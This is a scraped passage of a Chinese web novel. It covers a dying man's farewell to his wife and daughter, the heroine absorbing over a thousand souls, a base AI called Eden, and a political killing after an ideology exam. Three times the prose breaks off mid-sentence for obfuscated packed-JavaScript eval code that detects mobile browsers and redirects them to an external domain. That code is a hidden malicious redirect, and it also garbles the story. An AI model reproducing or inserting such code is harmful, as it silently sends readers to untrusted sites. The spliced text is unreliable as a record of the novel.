“一开始,我只想知道,蜂群意识为什么会触碰基地的逆鳞,明明其他研究——比如对特型血清的研究更加反人性,他们把上百个活人充作实验体,其中,甚至包括了部分党员。” “但随着研究的深入,我被这个项目深深地吸引了。” “基地本就是一个巨大的蜂巢,而首长,则是统领群蜂的王。” “首长的话是金科玉律,无人能够忤逆。而那些愚民,他们像盲目的工蜂,用不同的舌头说着相同的话。” “他们赞美,他们景仰,他们疯狂。他们将首长视为基地的太阳,单是听到首长的名字,都会兴奋地颤抖。” “由于这份病态的狂热,他们甚至忽略了客观规律——” “太阳终会西沉。” “而且,太阳最耀眼的时候,表面也有黑子和耀斑。” 阮真莎深吸了一口气。 “愚蠢。”阮真莎道,“你把失败当成耻辱,夸大和扭曲胜利者的胜因,而首长,他甚至从未把你的师父视作对手,因为他们都是一样的可悲——时代的车轮滚滚向前,他们都是燃料,而非乘客。” “……”柳法再次沉默。 良久,柳法道:“你说得对。” 阮真莎看着面前的男人。 真可悲啊,她想道。 时隔多年,二人久违地彼此敞开心扉,却完全不像一对恩爱的夫妻,更像是筋疲力尽的猎手和猎物。 猎物躺在地上,袒露脖颈。 猎手持刀喘气,无力追击。 阮真莎呼出一口气:“这就是你执迷至今的理由吗?” “……不。”柳法的声音带着一丝颤抖,“我奉一个人的指令来到外城,重启蜂群意识,也是那个人对我的要求。” 基地里,谁有资格翻云覆雨,谁有本事一手遮天? 门内,阮真莎的瞳孔猛然缩成针尖。 门外,阮禾张开嘴巴,嘴唇疯狂颤抖。 单无绮深吸一口气。 她紧紧地搂住双脚发软的阮禾,并在观察阮禾的表情后,轻轻摘掉了挂在阮禾耳朵上的触手。 ——那个答案已经昭然若揭。 ——但猜到和听到,完全是两个结果。 “他是谁?”良久,阮真莎问。 “内外两城的信仰,永不西沉的太阳。”柳法答。 是首长。 那个人,是首长。 50. 甜茶 单无绮扶着阮禾,后背靠在门板上,内心一阵戚戚。 首长到底想做什么? 首长和单无绮说过,在两条绝路之间,人类还有第三条路。世界的污染不可逆转,要想人类走出基地,人类必须适应这个世界,变成拥有人类意识的异种。 研究所的血清研究,外城的蜂群实验,都印证了首长的计划。 但是,随着单无绮从墙外归来,首长对单无绮提出了新的要求。 首长要单无绮处理“蜂”。 首长舍弃了蜂,也舍弃了为蜂付出毕生心血,乃至背叛人类种族的柳法。 柳法从一枚棋子,变成了一枚弃子。 单无绮忍不住微微发抖。 自己是否也是一枚棋子呢? 自己在首长的棋盘上,扮演着怎样的角色呢? 自己……也会变成一枚弃子吗? 突然,门内的气氛一瞬间变得紧张起来。 单无绮是个异种,感知极其敏锐,即使隔着一层门板,无法看到室内的情况,但她依然感应到,柳法发生了一些微妙的变化。 柳法的大脑中存放着无数人的灵魂,他活着的每一秒,都犹如在万丈深渊上走钢丝。 在单无绮的感知里,现在的柳法,就像一个快要被吹爆的气球。 单无绮屏住呼吸。 她谨慎地通过精神链接,询问室内的阮真莎:“里面发生了什么?” 阮真莎听到了单无绮的询问。 她没有立刻回答,戴着手套的鳞爪放在膝上,脊背绷得笔直。 阮真莎安静地看着长桌对面的柳法。 门外的单无绮尚能感应到柳法的异常,和柳法对坐的阮真莎,更是直面着这份不妙的变化。 柳法的精神已经到极限了。 在单无绮的设想里,柳法还有救,只要他认罪,单无绮会想办法把他送去研究所。 但现在看来…… 柳法快要撑不住了。 阮真莎看着柳法。 柳法整个人罩在宽大的黑袍里,现在是白天,明亮的日光透过窗户打在柳法的身上,却无法照亮他一分。 在阮真莎的注视下,柳法抬起戴着手套的手,轻轻摘下了头上的兜帽。 一张狰狞的脸出现在兜帽下。 那张脸上的血肉已经开始溃烂,隐约可见裸露的骨头,黑色的神经覆盖在上面,已经不像一个活人的脑袋,而像一颗残存着生气的骷髅。 柳法摘下兜帽的手微微颤抖,但是,当他狰狞的脸暴露在阳光下时,他忐忑的心反而变得平静了。 阮真莎的目光没有一丝厌恶。 阮真莎说得是真的。 她不再爱他了。 也不会恨他了。 “……真莎,我快死了。”柳法沙哑地说。 阮真莎看着柳法,苍白的面容一片平静。 在柳法无法看到的角度,阮真莎放在膝上的双手,一点点地攥成了拳头。 二人沉默时,突然,门外传来了异响。 单无绮看着怀里的阮禾:“你要做什么?” “我要进去,我要见爸爸最后一面。”阮禾已经恢复力气,从强烈的震惊中挣脱出来,“我是他的女儿,无论如何,我都应该和他见一面。” 单无绮下意识想要拒绝。 单无绮不希望身边的同伴过早地卷入漩涡。 她已经入局,是棋子还是弃子都尚未可知,这样被动且悲惨的遭遇,她不希望在同伴的身上重演。 阮禾的性格并不强硬,听到单无绮的话后,她没有立刻用言语反驳。 在单无绮沉默的注视下,阮禾移动右手,搭在腰间的枪柄上。 单无绮闭了闭眼。 夫妻反目,父女相残,天伦崩坏。 这个基地太残忍了。 这个时代太残忍了。 “……处决异种的是执行司。”单无绮低声道。 “我知道你想说什么,单姐。”阮禾笑着,眼底却有泪意,“让我进去吧。” 单无绮垂下头。 她侧过身子,为阮禾让开了路。 阮禾上前一步,对单无绮感激而苦涩地笑了笑,却并未开门直入,而是礼貌地敲了敲门。 屋内传来几声异动。 阮真莎看着几乎要缩进地缝的柳法,叹了口气,问道:“谁?” “是我,妈妈。”阮禾柔声道,“我想给客人添一杯茶。” 阮真莎看着柳法面前的茶杯。 柳法一口也没有喝。 他的脸庞已经高度溃烂,想必黑袍下的身体更加千疮百孔。 阮真莎看向柳法。 “进来吧。”阮真莎道。 阮禾推门而入。 人还是那两个人,丝毫未变,茶还是桌上的那杯茶,一口未动。 阮禾走在前面,单无绮犹豫片刻,没有跟上去。 她轻轻掩上门,垂下的手臂化为细长的触手,监听着里面的动静,另一只手臂搭在腰间的枪柄上,有一下没一下摩挲着保险栓。 阮禾看了一眼茶杯,又看向披着黑袍的柳法。 在阮禾进来之前,柳法重新戴上了兜帽。 “先生,您愿意听一听我的故事吗?”阮禾问道。 阮禾的眼睛像极了阮真莎,但她和她的母亲不同,眼底没有历经沧桑的冰冷,而是年轻人的温和与活气。 柳法安静地看着阮禾。 良久,甚至阮真莎都以为,柳法下一秒就会失控时,柳法坐直身子,向阮禾轻轻地点了点头。 阮禾笑了笑,和这位身穿黑袍的神秘客人,说起了过去的往事。 “我是跟随我的父母来到外城的,我本来是个内城人,但我并不怪他们……” “邻居接济了我们一整年……” “父亲去世了,我和妈妈在他的灵柩前哭了很久……” 随着阮禾的讲述,柳法的身体一点点放松下来。 单无绮站在门外,虚虚地握着枪柄。 “里面情况如何?”单无绮在大脑中对阮真莎问道。 “……真神奇。”阮真莎的语气带着一丝起伏,“柳法……他的灵魂平静下来了。” 单无绮沉默。 至少,这算是一件好事吧。 “我考入四部,其实不是全靠我的努力,我在内城接受了8年的教育,我的起点,本就比外城人高上许多。”许久,阮禾的故事接近尾声,“而且团结部中,阎老……父亲的老朋友很照顾我。” 阎银华主持了柳法和阮真莎的婚礼。 如今虽然物是人非,但三人的情谊非比寻常。 阮禾的故事讲了很久,久到窗外的天空由蓝转金,血红的夕阳撒在玻璃窗上,仿佛神明投下悲哀的瞥视。 但故事终有结束的一天。 人……也终有别离的一天。 柳法安静地看着阮禾。 从头到尾,柳法没有说一句话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14881515|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 阮禾讲完自己的故事,闭上嘴,不纯蓝的双眸温柔地看着这位神秘的客人。 柳法始终没有揭下兜帽。 但阮禾不在乎。 阮禾和柳法沉默地对视了许久,坐在不远处的阮真莎,和守在门外的单无绮,皆是一言不发。 阮禾伸出长着伤疤和老茧的手,轻轻地端起柳法面前,那杯早已凉透的甜茶。 “茶凉了,我去换一杯。”阮禾端起茶杯,转过身,下垂的眼眸无声涌上泪花。 单无绮叹息一声,为阮禾打开门。 “等一等。”柳法突然开口。 阮禾端着甜茶,背对着柳法。 阮禾轻声问:“先生?” “红茶为底,三匙牛奶,一匙糖,你说,这是你父亲最爱的甜茶配方。”柳法的声带微微震动。 他的身体正在加速腐败,即使这样微小的动作,他都听到了血肉窸窣剥落的声音。 柳法看着阮禾的背影:“请为我倒一杯热甜茶吧。” 阮禾用力埋下头。 几颗泪水掉落在茶杯里,阮禾飞快绕过门口的单无绮,去茶水间调配热茶。 单无绮倚着门框,看着陷入沉默的柳法:“你马上就要死了。” 柳法低低地笑了一声。 他摘下兜帽,卷曲的白发和枯萎的皮肤一寸寸脱落,露出比之前更加狰狞丑陋的、毫无血肉的脸庞。 单无绮盯着柳法的眼珠:“你其实挺英俊的。” 一周前,单无绮和柳法在筑墙者铜像下相遇。 那个时候,柳法手持小竖琴,十指在琴弦上拨动,弹唱着不知名的夜曲。 他犹如一只刻意掉入陷阱的猎物,用蹩脚的方式暴露了自己的行踪,让单无绮将狩猎的矛头对准了他。 柳法低头,看向戴着手套的手。 “很抱歉,单副官。”柳法的声音沙哑极了,仿佛铁片相互摩擦,“现在的我,恐怕无法弹奏了。” “你不能死在这里。”单无绮的蓝眼睛警惕地盯着柳法。 “我明白。” “我理解你想见妻女最后一面,但是,如果你死在这里,你体内的亡魂会顷刻间释放——外城会因你哀鸿遍野。” 柳法深深地低下头。 他沙哑地说:“我明白。” 随后,柳法微不可闻地呢喃:“我……是个自私的人,我牵连了真莎和小禾,还牵连了整个外城。” “那么,把你的灵魂交给我吧。”单无绮道。 柳法猛地抬起脑袋。 阮真莎站起来:“不行,单副官!这样你会……” 单无绮笑了一声。 单无绮拔出腰间的手枪,在指间转了一圈。 而后,她打开保险栓,将手枪往身后一递。 不知何时,阮禾已经回来了。 她端着调好的热甜茶,站在单无绮身后。 “单姐……单副官。”阮禾的声音克制不住地颤抖着,“你要做什么?” “不瞒你说,这种事情,我并非没有做过。”单无绮笑得眯起眼睛,指了指自己的脑袋,“还有,那些死去工蜂的灵魂,就让他们住到我的脑袋里吧,正巧,我有一位很厉害的管家。” 零:“阿嚏!” 柳法腾地站了起来:“单副官……” “我不保证你能活下来,柳法。”单无绮道,“但是现在,好好地和阮禾告个别吧——父母子女一场,有些话,始终是要说开的。” 51. 太阳 单无绮在精神领域毫无天赋,这也是单无绮敢去接收柳法灵魂的原因。 因为毫无天赋,所以毫无感知,那些对正常人而言痛苦无比的精神重压,在单无绮身上没有一丝体现。 等一家三口完成最后的告别,单无绮走上前,示意柳法配合自己的动作。 零怒斥单无绮:“你纯粹在乱来!” 单无绮忽略了零的进言:“我要怎么接收柳法的灵魂?” “我为什么要告诉你?” “因为你很懂。” “那个男人的灵魂带着剧毒,还携带着一千三百五十二条破碎的亡魂,你本就空无一物的蠢笨大脑,会立刻变成比外城贫民窟还要脏乱拥挤的地方。” 单无绮思忖了下:“哦,大通铺嘛。” 零:“……” 零:“(一大串听不懂的粗口)。” 零发出沸腾坩埚般诡异的声音。 无人知道他说着什么语言,也许是异种的语言,也许是旧人类的语言,也许不是任何语言。 单无绮呼唤了零好几次。 确认零沉浸在无法沟通的愤怒中,单无绮摸了摸左心口袋里的孢子。 孢子安静地躺在口袋里,十分懂事可爱。 孢子她……似乎是个女球? 孢子蹭了蹭单无绮的指尖,发出一串纯净的涟漪。 ——帮忙。 ——愿意。 “……”单无绮犹豫了片刻,最终收回指尖。 孢子的状态有些萎靡,也许是一周前,她在广场上追踪柳法的灵魂时,消耗了太多的精力。 孢子跳了跳。 单无绮按下孢子:“睡吧,现在轮不上你出场。” 孢子缩回口袋。 单无绮看向柳法,努力回忆零之前的做法。 ——不久前,零还寄生在维沙尔的大脑里。 ——那个时候,维沙尔的手掌触碰了单无绮的额头,然后,通过某种链接,零转移到了单无绮的大脑里。 单无绮垂眸。 她回忆着维沙尔的动作,将微微冒着冷汗的手掌,轻轻地覆上柳法的额头。 “你没有天赋。”零讥诮地劝阻,“死了这条心吧!你以为,缔结精神链接这么简单吗?” “柳法不能死在这里。”单无绮说。 “接收了他的灵魂,你会死。”零再次警告。 “不试试怎么知道?”单无绮咧嘴一笑。 口袋里的孢子频繁跳跃。 精神意识里,一团初具雏形的莹白光团,对另一团金色的光团来回蛄蛹。 “父亲,帮帮。”莹白的光团——孢子说。 金色的光团久久沉默。 孢子是零的孩子,而零,是帝国研究所触犯禁忌,创生出的实验体。 现在,零腐烂的肉身浸泡在培养罐中,犹如一团烂肉。 但三百多年前,人人都说,零是神明的礼物,地上的太阳。 《异种图鉴》收录着零的画像。 图鉴第一页,名为“S-0”的异种通体灿金,羽状鳞片覆盖在身体表面,三只带着神性的异瞳镶嵌在额上,炯然如天火。 大灾变爆发后,那些美丽的浮空城尽数坠落。 旧的文明已经覆灭,新的文明还未苏醒。 零孤独地在荒凉的大地上流浪了很久。 直到零第一次被人类捕捉。 他跟着那群不知天高地厚的人类,来到一片搭建着草棚的滩涂。 一切仿佛世界伊始,一切仿佛从头再来。 零沉默地旁观这群人类。 他曾目睹一个繁荣极盛的文明,在无可预料的天灾下骤然崩塌,因此,现今人类的一切新奇探索,于他而言,不过是狒狒爬下香蕉树,褪去了几根兽类的长毛。 但不知何时起,这群弱小又可悲的人类,竟然蜷缩在他的羽翼下了。 零的模样,酷似一只从天而降的金色神鸟。 许多个寒冷刺骨的冬夜,当零伸出鸟翼般宽大的触手,拥住瑟瑟发抖的人类时,那些孱弱的小崽儿仰起冻得通红的脸蛋,仰慕地称他为“太阳”。 太阳…… 太阳…… 太阳…… “父亲,帮帮。”莹白的孢子锲而不舍地央求。 零深吸一口气。 单无绮的手仍然放在柳法的额头上。 零的精神体低低地鸣叫一声,睁开了璀璨的三只异瞳。 一瞬间,单无绮湛蓝的眼睛变成了美丽的金色。 人类无法涉足的精神领域,一只巨大的金色神鸟出现在基地上空。 研究所雪白的尖顶上,核心骤然散发出极为强烈的涟漪。 旧人类的遗产齐齐发出警报。 伊甸的目光投向外城,警报系统开始循环一条指令。 “姓名:单无绮。” “身份:异种。” “是否驱逐:否。” “是否驱逐:否。” “是否驱逐:否。” 单无绮完全不知道,自己的生死就在伊甸的一念之间。 她新奇地看着掌心之下。 一条金色的通道出现在自己和柳法之间。 数不清的灵魂顺着通道,离开柳法枯败腐烂的身体,来到了单无绮的体内。 他们的面孔有一些模糊,但部分灵魂仍然可见生动的五官。 “太阳!”一个灵魂说。 “太阳!”两个灵魂说。 “太阳!”许多个灵魂说。 那些灵魂本来充满黑沉的怨念。 他们因为一个隐秘的阴谋,成为蜂群意识的傀儡,又因为蜂群意识的失控,无辜地惨死在外城的大火中。 他们做错了什么? 他们做错了什么? 柳法强行拘束着他们,让他们无法离开,他们的怨恨和执念无从释放,逐渐发酵成庞大的恶念,让柳法的精神和身体一同凋敝下来。 但现在,他们看到了太阳。 他们不知道柳法的名字,只知道“蜂”的首领对他们说——他将带他们离开,犹如迁徙的羊群寻找丰美的草地。 他们的新家园会是一个流淌着奶与蜜的地方。 在那里,人人皆能饱食。 他们不必掐死襁褓中的婴儿,不必数着碗里的米粒吞咽稀寡的粥水,不必忧愁地盯着屋顶渗漏下来的冷雨,不必在重复且贫苦的生活中,连三十岁不到就枯槁地死去。 工蜂们问:“那是什么地方?” “那是迦南地,那是伊甸园。”蜂王给出解释,却又沉默下来,和台下一双双茫然的眼睛对视。 良久,蜂王重新解释:“看看你们的头顶。” 工蜂们抬头。 他们的头顶,一颗明亮的太阳悬挂在高空,温暖的阳光洒落在他们身上,照亮了他们枯败的眼睛,蜡黄的皮肤,凹陷的脸颊。 “我们会到太阳那里去。”蜂王说。 “我们会到太阳那里去。”工蜂们说。 工蜂并不畏惧死亡。 在外城,死亡是长眠的兄弟,他们怨恨的,是“蜂”将希望捧到他们面前,又亲手摔碎,让他们见过光明后,纷纷死在冰冷的永夜里。 但是如今,“蜂”的承诺兑现了。 “太阳!” “太阳!” “太阳!” 一条又一条惨死的灵魂,褪去了萦绕周身的黑沉怨念,雀跃地穿过金色的通道,来到了金色神鸟的羽翼下。 零展开羽翼状的触手,将那些洁白的灵魂拢在身下。 “……真吵。”零低声说,“和当年一样。” 莹白的孢子待在不远处,新奇地看着大变活鸟的父亲。 孢子发出一阵细碎的呢喃。 孢子是零的孩子,她因为一个隐秘的阴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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大灾变毁灭了旧人类的浮空城,令一切不属于天空的存在坠落大地,但伊甸的机房搭建在地底,因为某个未知的原因,它神奇地幸存了下来。 伊甸的主体发出一阵阵过载的嗡鸣声。 因为长久地执行同一条指令,伊甸陷入了死循环。 首长看着屏幕上循环的指令。 “是否驱逐:否。” “是否驱逐:否。” “是否驱逐:否。” “停止对单无绮的判定。”首长下达指令。 一阵令人牙酸的嗡鸣声后,伊甸终于从死循环中解脱。 绿色数据流运转的速度一点点慢了下来。 “伊甸,自我检测。”首长道。 “损耗率:63.71%。”伊甸答。 “你多久会报废?” “用新人类的历法计算,我的寿命还剩537天。” 首长沉默。 伊甸的机械女声带着一丝人性化的关怀:“请不要为我悲伤,首长。” “嗯。”首长说。 人类和AI同时沉默。 “谢谢你,伊甸。”良久,首长低声道。 “为人类服务是我的使命。”伊甸道,“首长,您的情感曲线出现了非正常紊波,您似乎在悲伤。让我们聊聊另一个话题吧——单无绮的行动,仍在您的计划中吗?” “是的。” “您仍然认为,人类会走向灭亡吗?” “是的。” “我不理解,首长。”伊甸问道,“既然您认为人类会走向灭亡,您为何还在寻找拯救人类的办法?” “因为我们还活着。”首长答。 伊甸绿色的数据流停滞了一瞬。 “……感谢您,首长,虽然我仍然不理解,但我将这次对话记录了下来。”伊甸的机械女声说道,“在我的机心冷却前,希望我能理解您今天的回答。” 52. 思想考试 单无绮一个人越狱,带着一只鸡崽和一千多条灵魂回狱。 按照正常情况,单无绮的脑子里早该乱成一锅粥了。 但零是个优秀的管家,一千多条灵魂被他管理得服服帖帖。 用零的原话说—— “城墙还未建起时,人类第一基地只是一片搭在滩涂上的草棚,我跟随在筑墙者身边,为他管理日益庞大的人口。”零化身的神鸟道,“现在,我仿佛又回到了那个时代。” 单无绮坐在监狱的椅子上:“我的脑袋怎么有点疼呢?” 零诡异地沉默了一下。 单无绮生出不妙的预感。 “……幸好,你在精神领域没有什么天赋。”零的语气庆幸又怜悯,“你脑子里的一千多条灵魂,现在正在翻看你的记忆,换做其他人,恐怕已经疼得倒地不起了。” 单无绮:“……” 单无绮:“他们为什么要翻看我的记忆?” “你是基地的传奇,是带领外城人拓荒的单副官。”零道,“他们景仰你,犹如景仰太阳,他们不知道你的过去,所以他们好奇,怎样的经历能培养出这样的你。” 单无绮沉默片刻:“但我不记得了。” 她不记得了。 她的记忆离奇丢失,最开始的记忆,就是睁眼醒来后,一个人孤独地躺在荒地上。 她的身边什么也没有,旷野的风吹拂她的头发,仿佛世界吹奏寂寥的风笛。 单无绮短暂地忧伤了一瞬。 越狱期间,思想考试正常筹备。 一天后,单无绮在狱中开考。 伊甸的电子眼对准单无绮,代表基地监考,单无绮的双手戴着铁铐,抬手时,带出一串叮铃的响声。 单无绮头疼地看着试卷上唯一的题目。 【假设你是人类第一基地的公民李华,请你给首长写一封信,内容包括:1、介绍基地的基本情况;2、你在基地扮演着怎样的角色;3、你对未来的畅想。】 零好奇地探头:“你不会写?” “我当然会写。”单无绮垂眸,指尖掐着笔杆,“但我不知道,基地想要一份怎样的答卷。” 单无绮有太多话想说了。 外城的苦难,内城的斡旋,基地的困境,人类的未来。 内忧外患,国计民生。 单无绮不在乎基地对她的忌惮,更不在乎四部对她的攻讦,但她唯一不能忍受的,是人类裹挟在无休止的内斗中。 如果想改变这一切,不要怨天尤人,要挤进头部,爬到那个极高的位子上去。 单无绮的回归,至今没有向基地公开。 这是一个流通于高层的秘密。 而这次思想考试,就是单无绮的第一次公开露面。 零看出单无绮的为难。 零看向柳法。 柳法的灵魂已经被单无绮接收,此刻,他和那一千多条工蜂的灵魂一样,翻阅着单无绮的记忆。 “她真的失忆了。”柳法道。 零扑动了一下翅膀,没说话。 柳法的表情既释然,又悲伤。 柳法是单无绮的挚友。 柳法记得单无绮流放前的事情,那时的单副官风头无两,尽管风光背后免不了心酸,但至少,还有一群至交好友翼庇着她。 但是如今,单无绮的好友死的死,疯的疯,流放的流放。 虽然单无绮活着回来了,却不知是幸还是不幸。 零打量着柳法的表情。 零和维沙尔有一段深厚的友谊,维沙尔对单副官的憧憬,是零对单无绮的第一印象。 但单无绮失忆了。 零无法看到单无绮遗失的记忆,于是无从得知,从前的单无绮是一个怎样的人。 “单无绮……单副官很好吗?”零问道。 柳法抬起头。 “她很好。”柳法道,“你现在有时间吗?我们可以聊一聊。” 单无绮没有关注零和柳法的对话。 她深吸一口气,拿起笔,在试卷上写下第一句话。 “致首长: 我叫李华,是被人类第一基地流放的重刑犯,编号357……” 她的流放并非她的罪。 她不记得她的过去,无法为自己发声,但律法的底层逻辑是民意,是人民朴素的价值观,如果人民不认为她有罪,那么,所有的惩戒和污名都只是欲加之辞。 如果她有罪,请交给人民来审判,如果她无罪,那么,她接下来说的话,便不该视为一个罪人的发言。 她已经归来,在她所剩无几的记忆里,基地就是她的家。 一个人的力量是有限的,这也是集体存在的意义。 作为集体中的个人,她应该贡献自己的一份力量。 基地的人类是最后的火种,外界风雨飘摇,火种随时可能熄灭,如果一味地沉溺无意义的内斗,不等天空降下冷雨,这团火种便会自行熄灭。 她请求基地再次审视自己。 她的身上仍有可利用的价值,如果这份价值,能够施以人民,用以人民,她不在乎基地对她降下怎样的审判。 她的第一次生命,在流放的那一刻就已经结束,但神明垂怜,赐予了她第二次生命。 第二次生命,她渴望变成柴薪。 时代的车轮滚滚向前,并非所有人都是乘客,总有一部分人燃烧自己,为前进的列车提供动力。 生命终有尽头,但希望不是。 只要希望永存。 火种就会永存。 …… 思想考试结束,党员们一一离开考场。 阎银华没有离开。 他戴着一顶浮夸的红色假发,坐在空荡荡的教室里,看着试卷被收走的、空无一物的桌面。 阎银华是外城人,他没有在内城读过书。 阎银华的考场在基地第一中学,是大部分党员的母校。 噔,噔,噔。 一阵沉缓的脚步声传入阎银华的耳畔。 阎银华熟悉这道脚步声。 二十三年前,他是仓促落狱的首长候选人,对方是藏锋敛锐的特情司司长,苍老的太阳尚未西沉,基地谱写好的未来中,二人皆不被光明照耀。 但这个未来没有实现。 如今,他是团结部部长,对方是友爱部部长。 十分讽刺的是,他不团结,对方也不友爱。 他们作为胜利者沐浴在光明中,但这份光明,比黑暗还要黑暗。 光明不曾照亮黑暗。 光明吞噬了黑暗。 噔,噔,噔。 友爱部部长乔纳森走到阎银华面前。 乔纳森停下脚步。 那道阎银华无比熟悉的脚步声,也随之停止了。 “好久不见。”乔纳森说。 “好久不见。”阎银华说。 互相问候后,二人陷入沉默。 晋升部长后,二人的交锋从未停息。 他们待在那个极高的位子上,动作和声音都掺杂着身后势力的影子。 但今天,当他们久违地面对面相处时,他们反而一句话也说不出了。 青年时期的赤诚与热情,在数十年的利弊权衡中,早已化为冰冷的理性。 因此他们无话可说。 于是他们无话可说。 突然,一阵嬉笑声从窗外传来。 那嬉笑声热烈而遥远,充满年轻的朝气,阎银华和乔纳森不约而同地向窗外看去,发现是一群放学的学生。 基地第一中学是思想考试的考场之一,现在是暑假,但高三生还在补课。 他们挥舞着雪白的试卷,从教室里鱼贯而出。 枯燥的补习和紧张的考试被高三生抛之脑后,他们欢呼雀跃,仿佛一群出笼的小鸟。 社会还未向他们伸出魔掌,名为“学校”的象牙塔中,他们都有光明的未来。 “真年轻啊。”阎银华感慨。 “是啊。”乔纳森说。 “我老了。”阎银华看向乔纳森,发现对方的脸上同样爬满了皱纹,“你也是。” 乔纳森低下头。 他说:“你有很多问题想问吧?” “是的。”阎银华道,“但不是这里,也不是现在。” 乔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909060|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纳森扯动嘴角笑了一下:“因为这里是学校?” “因为在这里,你仅仅是你,我仅仅是我。”阎银华道,“友爱部不会监听学生,而且思想考试已经结束,就连伊甸都不会投来视线。” “……”乔纳森沉默了一瞬。 他看向空无一物的桌面:“你写了什么?” “一些过于刺耳的言论,一些不再糊弄的建议,以及一些发自内心的期待。”阎银华道,“你呢?乔纳森。” 乔纳森轻声道:“我交了一份白卷。” 阎银华的双眼微微睁大。 而后,阎银华很快明白了什么,低下头,没有发出一句追问。 但乔纳森打开了话匣子。 他仿佛回到了二十三年前,审问阎银华的那个夜晚,上面要求他屈打成招,但他看着阎银华,鬼使神差地放下了鞭子。 此世已是长夜。 不该有太阳陨落了。 “我终于明白了你的话,银华。”时隔二十三年,乔纳森再次叫出这个名字,“欲戴王冠,必承其重,成为友爱部部长后,我的喉舌和灵魂都不再属于我。” “我以为我无比坚定,但死到临头时,我依然生出了悔意。” “我不后悔走上这条路,即使回到过去,在相同的处境下,我还是会做出同样的选择。但——我不该毁掉人类的未来。” “许多时候,我可以沉默,但我选择开枪。” “许多时候,我可以将枪口抬高一寸,但我选择瞄准心脏。” “如今,她的枪口对准了我,我必死无疑,但我……终于可以选择沉默。” 乔纳森布满褶皱的脸没有一丝颤抖,但阎银华知道,那个走钢索的人,终于松开了手中的长杆。 万丈深渊,粉身碎骨。 他平静地接受了自己的死亡,一如平静地杀死昔日的上司,成为了友爱部部长。 那份白卷是乔纳森最后的反叛。 利益场上无中立。 沉默就是暧昧。 暧昧就是偏袒。 窗外的声音渐渐平静,放学的学生走完了。 乔纳森转身离开,就像从未来过。 “我有一个问题。”阎银华突然说。 乔纳森停在教室门口。 阳光将乔纳森的影子拉得很长,一直延伸到阎银华的脚下。 乔纳森抬起头:“说。” 阎银华问:“你的理想还长存吗?” 乔纳森沉默。 他听到了遥远的枪声。 这次思想考试,是洗牌前的最后一次站队。 他没有向旧势力摇尾乞怜,也没有向新势力献媚讨好。 恍惚中,乔纳森看到了年轻时的自己。 年轻的他眼中,未来有无数条道路,但年老的他回首过去,看到的道路只有一条。 年轻时射出的那枚子弹,在二十三年后,终于正中他的眉心。 砰! 阎银华听到了一声枪响。 乔纳森倒地,脑后溢出一片血泊。 萨摩逆光站在门口,高举的右手中,枪口冒出一缕白烟。 萨摩放下手:“谢谢你拖住他。” “不用谢。”阎银华道,“这是他自己的选择。” 萨摩挥挥手。 特情司党员收走尸体,打扫血迹。 阎银华垂眸看着门口,一分钟前,那里还躺着乔纳森的尸体。 “这只是个开始。”阎银华道。 “是。”萨摩道。 二人一坐一立,沉默相对。 “你和她……也会变成这样吗?”良久,阎银华轻声问。 萨摩眨了一下眼:“什么?” “……没什么。”阎银华摆手,“你先走吧。” 萨摩点点头,带着下属离开。 阎银华一个人坐了很久。 直到夕阳西下,血红的霞光披上阎银华的肩膀,他抬起手,摘下假发,犹如摘下礼帽,将假发轻轻按上心口。 敌对立场下,沉默就是认同。 ——你的理想还长存吗? ——嗯,长存。 53. 行刑场 梅醒来,穿戴衣帽,将铜徽和手枪别好,离开只有一个人的屋子。 思想考试已经结束,新旧势力开始洗牌,这是人类第一基地的权力交接仪式,充斥着泪与血。年轻时他还会愤懑,但现在的他已经明白,人类兼具智慧和愚蠢,如果不清除异己,千钧一发之际,那些蠹虫般的同类便会把整个种族拖下深渊。 这样的事并非没有发生过。 筑墙者的死因至今是个谜,但那些不见天日的秘辛总有人口耳相传。梅知道筑墙者是被人类同胞毒杀的,无关阴谋,无关忌惮,仅仅因为筑墙者的伟大。 伟大的英雄可以挂在墙上,写在书里,甚至设立一个节日,放假三天默哀追悼,但他就是不能活着。 这个基地生着怪病,会吞噬一切明亮的东西。梅的童年有着悲凉的底色,他并不在乎效忠的主人来自光明还是黑暗,因为他自己的忠诚也十分有限。 但他的生命中……有一个例外。 梅穿着四部制服,斜戴的军帽盖住右眼,在碰头的地方点燃一支烟,安静地等待另一人赴约。 不多时,萨摩来了。 “单无绮现在怎么样?”梅开门见山。 萨摩浑身萦绕着冷戾的气场,带着鲜血气味。他的枪管刚刚冷却,出膛的子弹击穿了乔纳森的眉心,犹如扫走一块绊脚石。 梅没有掐灭烟,他对萨摩毫无对待孩子的怜惜,尽管萨摩算是他的半个弟弟。 萨摩哑声答:“挺好。” “你对她好,仅仅体现在每顿饭给她多打两个鸡腿上。”梅不满地指责。 萨摩噎了一下:“谁说的?” 梅答:“老东西。” “……”萨摩再次沉默,他无法阻拦梅厌憎首长。 “思想考试,你答了什么?”梅抛出第二个问题。 梅颇有点没话找话。 最重要的问题已经问完,除了亲爱的妹妹,梅没有在乎的人或物。 萨摩的立场毋容置疑,杀掉乔纳森就是向新势力递上的投名状,即使萨摩在试卷上画一只王八,阅卷人伊甸都会给他通过。 只是…… 